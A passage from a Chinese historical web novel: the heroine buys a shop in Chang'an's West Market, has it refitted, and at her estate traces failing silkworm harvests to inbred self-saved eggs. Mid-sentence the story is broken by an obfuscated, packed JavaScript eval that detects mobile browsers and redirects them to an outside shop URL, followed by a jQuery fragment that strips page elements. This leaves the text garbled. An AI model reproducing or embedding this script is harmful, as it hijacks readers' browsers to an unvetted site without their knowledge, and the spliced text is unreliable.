“不劳曾郎君费心。”金悦淡淡地说。
“哼！这铺子我反正不买了，修成君另找他人罢。”曾仲甩着袖子，背过身去，下了逐客令。
离开曾仲的铺子，金悦叹了口气。
于兰跟着出门，一路上脸色都不好看。上了马车，帘子一放下来，她便忍不住了，压低声音道：“那姓曾的不过一介商贾，凭什么对女君这般说话？谁给他的胆子？”
金悦靠在车壁上，倒没有她那般气愤，摇了摇头，说：“曾仲敢这么硬气，背后想必有所依仗。况且锦绣坊在东西二市扎根多年，人脉盘根错节，我初来乍到，没必要闹得太僵。”
“女君何必怕他，若是他胆敢闹事，自然有法子收拾他。”于兰不赞同地道。
“阎王好见，小鬼难缠。”金悦掀开车帘一角，望着外头熙熙攘攘的街市，“西市不单是长安城的买卖场，更是整个大汉的贸易中心，西域的胡商都要从这里走货。这里头的水有多深，我们还没摸透。若是把人得罪狠了，暗中使绊子，我们未必招架得住。”
于兰纵使生气，也明白这般道理，抿着嘴，不再说了。
姜翁跟马夫一起坐在车前，心中满是愧疚，他没料到修成君和曾仲这两个八竿子打不着的人物之间有过节，若早知如此，绝不会带她来这一趟。
来到第二家商铺，几人下了马车。
姜翁保证道：“这铺子是一对老夫妻的，两人都是老实本分，定不会跟曾郎君一样出尔反尔，让女君受气。”
第二家铺子在西市的东边，紧邻着群贤坊。
老夫妻两人都在铺子中等候，头发花白，衣裳洗得发旧，但收拾得干干净净。
他们见了金悦也不多寒暄，开了门便请她里外随意看，老翁搓着手说：“若能快些立契，价钱也好商量。”
金悦看了一圈，铺面比曾仲那家略微窄了点，地段也不如丰邑坊热闹，但后院却同样宽阔，还有个水井。而且这铺子紧邻着群贤坊，这点让金悦动了心思。
她对自己的商铺的顾客定位就是略有余钱的中层收入人群，这群贤坊一听就知道里面住着不少读书人，或者小官小吏之类。正符合她的要求。
“就这间吧。”金悦看过之后也不还价，当场便点了头。
老夫妻没料到她这么快做出了决定，短暂地愣怔过后，高兴地互相对视一眼。老媪忙不迭地从怀里掏出契书，像是怕她反悔一般。
因为钱太多，金悦是用黄金结账的，老夫妻瞪着眼睛看着于兰将金锭从包袱里拿出来，接过时，手都在抖。
到了官衙过户时，老翁签完字，两人交接完毕，这家商铺就正式属金悦了。
姜翁很是乐呵，总算没有将差事办砸，拿着他的佣金也离开了，叮嘱金悦下次有差事还找他。
铺子定下来之后，金悦便开始着手装修改造。
西市的商铺寸土寸金，买下来的这一间只能用来售卖货物。
她把格局按织坊的需求重新划分，前头临街的两间打通，一间做样品陈列，一间做待客的坐席，用竹帘与后头的工作区隔开。
后面的几间留作仓库，地面特意做了斜坡，避免雨天积水。每间屋子预留了几排木架，防潮防霉。院中的水井是现成的，井口重新砌过，加了一圈石台，方便取水。
工匠们量尺寸、锯木料、和泥浆，忙得脚不沾地。
金悦每日来看进度，偶尔蹲在刚砌好的染槽旁，跟老泥瓦匠比划排水沟的深浅。
于兰跟在她身后，手里拿着一卷皮尺，随时记下要改的尺寸，铺子从早到晚叮叮当当响个不停。
装修还需要些时日，金悦左右无事，便决定趁着这两日去庄子上看看，正好也去散散步，放松一下心情。
庄子在京郊，离城不算太远，但也不近。近处的良田早已被勋贵们分完了，她这块地是后来划拨的，位置略微偏了些。
马车摇摇晃晃走了大半个时辰，窗外的景致渐渐从街市变成了田野。
终于到了。
马车还没停稳，金悦便听见外头一阵喧嚷，她掀开车帘向外看去。
连着官道的那条小路的路口挤满了人，男女老少，乌压压一片，有的抱着孩子，有的拄着拐杖，全都伸长了脖子往这边张望。
庄户的领头是个五十来岁的精瘦老汉，姓高，人称高翁，远远看见马车便连忙招呼，催着几个半大小子跑过来引路。
高翁在得知金悦要来之前便做足了准备。
他让家里的妇人将庄子各处打扫干净，又让几个年纪稍长的孩子好好拾掇自己，想着他们有福气的话被贵人看中，便能进府里伺候，再不用在地里刨食。
于是那几个孩子便当真了，将压箱底的衣裳翻出来穿上，又在野地里采了各色野花插在头上，挤在人群最前头，拼命踮起脚尖，盼着能被贵人瞧见。
“你们收敛些，别冲撞了贵人，这么不稳重的性子贵人才看不上。”高翁低声斥责道，后悔提点了他们。
几个半大的孩子顿时偃旗息鼓，安分下来。
金悦下了车，众人呼啦啦地跪了一地，七嘴八舌地喊着拜见女君。
她连忙让他们起来，目光扫过那些跪在地上的人，孩子们头上戴着的野花，身上穿着缝补得整整齐齐的衣裳。
她忽然想起自己在槐里的时候，也曾为衣裳破了短了发愁。
如今这些人跪在这里等着她，把她当成能决定他们命运的人。这种感觉让她不自在。
往更里面走去，这一大片，都是属于金悦的土地。
田埂两旁的麻田已经收过了，只剩下齐腰高的茬子在风里摇晃。远处的葛藤爬满了篱笆，叶子正黄，藤蔓上还挂着几串干瘪的荚果。
高翁一路跟着，边走边介绍庄子里的种植情况，说今年雨水多，粟米收成不如去年，麻和葛倒还好，长得比往年壮实，已经收割晾晒，过几日就能捆好运走。
金悦边走边看，随口问了一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727626|207497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
：“可有人养蚕？”
“有的。”高翁迟疑了一瞬，又补了一句，“但明年大家都不打算养了。”
金悦停住脚步，问道：“为什么，是因为今年雨涝减产吗？”
高翁道：“今年确实减产，但往年的收成也是一年比一年低，养蚕不值当，所以大家明年都不准备养了。”
“怎么会连年减产？减了多少？”
高翁搓着两只手，支支吾吾半天，说得含糊不清。
他身旁的妇人急得直扯他袖子，扯了两下见他还在那儿磨蹭，索性一把将他拽到后头，自己抢上前来，朝金悦道：“女君容禀，这蚕往年也养得好好的。可近几年不知怎的，收成一年不如一年，茧子越结越小，缫出来的丝一扯就断，拿到市上没人肯收。今年这雨涝就更不用提了。大家伙儿商量着，觉得这营生实在做不下去了，才说不养了。”
“每年养的蚕种都是从哪里来的？”
“除了第一年是从外面买来的，之后都是挑些好的茧子留下来，孵出蛾子产了蚕子，第二年接着养。”高婶答道。
金悦心里有了个模糊的判断，但没有急着下结论。她让高婶领路，去养蚕的屋子里看看。
养蚕的屋子是间土坯房，不大，墙角堆着采摘下来的桑叶。
竹匾里的蚕细细弱弱，有几条伏在桑叶上不怎么动，身上蒙着一层暗淡的灰白色。
“有之前结出的蚕茧吗？”
“有，我去给您找出来。”高婶子从角落里翻出几只没能成功破茧的留种的茧子。
金悦接过那几只茧子，对着窗口透进来的微光仔细端详。
茧壳薄得透光，表面覆着一层暗淡的灰白色，有几颗已裂了口子。她轻轻一扯，丝线便断了，断口参差不齐。
她肯定了先前的猜测，放下茧子，拍了拍手上的灰，说：“这蚕大概是因为长期自留种，代代近亲，所以退化了。丝线越来越脆，茧越来越小，都是这个原因。”
听完，高婶张着嘴，一脸茫然，“什么是退化？”
她还以为这块地风水不好，不适宜养蚕，从没听说过什么蚕种退化。
“就是越长越回去了。”金悦斟酌着字句，将近亲结婚的坏处，用通俗易懂的方式讲出来，“好比一个人得了病症，但膝下的两个孩子都正常，其实是这病症中和了丈夫或者妻子的血脉，变成半个，藏在两个孩子的身体里，因为弱小显现不出来。
“等到这两个孩子长大后各自结婚生子，孙辈可能会遗传到父母身上的半个隐藏的病症，若是孙辈与别家的人成亲，那半份隐症仍旧压着，显不出。
“若是孙辈的表亲之间互相结亲，那便有两个半份碰到一处，拼成了整份，压在血脉里的病就一下子全冒出来了，显现在孙辈身上。”
金悦边想边说，吐字缓慢，说完回过神，猛地瞧见门外，吓了一跳。
门口挤了好几个人，大人小孩都有，面上俱是茫然，正艰难地思考着。